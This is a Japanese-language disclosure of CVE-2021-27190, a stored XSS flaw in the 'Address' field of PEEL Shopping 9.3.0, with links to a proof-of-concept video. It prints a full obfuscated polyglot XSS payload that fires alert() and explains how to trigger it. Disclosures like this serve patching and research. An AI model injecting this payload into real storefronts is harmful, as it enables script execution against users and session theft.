CVE-2021-27190 - PEEL Shopping、eコマースショッピングカート - 'Address' における格納型クロスサイトスクリプティング脆弱性

日付

2021-02-11

脆弱性発見者

Anmol K Sachan

ベンダーホームページ

https://www.peel.fr/

ソフトウェアリンク

https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/

脆弱性のあるソフトウェアリンク

https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing

ソフトウェア:

PEEL SHOPPING 9.3.0

脆弱性タイプ

格納型クロスサイトスクリプティング

脆弱性

格納型XSS

Windows 10 XAMPP でテスト済み

CVE割り当て

CVE-2021-27190
このアプリケーションは格納型XSS脆弱性に対して脆弱です。

脆弱なスクリプト

http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php

https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## 脆弱なパラメータ 'Address'

使用したペイロード

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

POC

https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
ペイロードを注入した同じページで、アドレスを編集するためにテキストボックスをクリックします。
Javascriptコード（XSS）が実行されるのを確認できます。

CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS

人気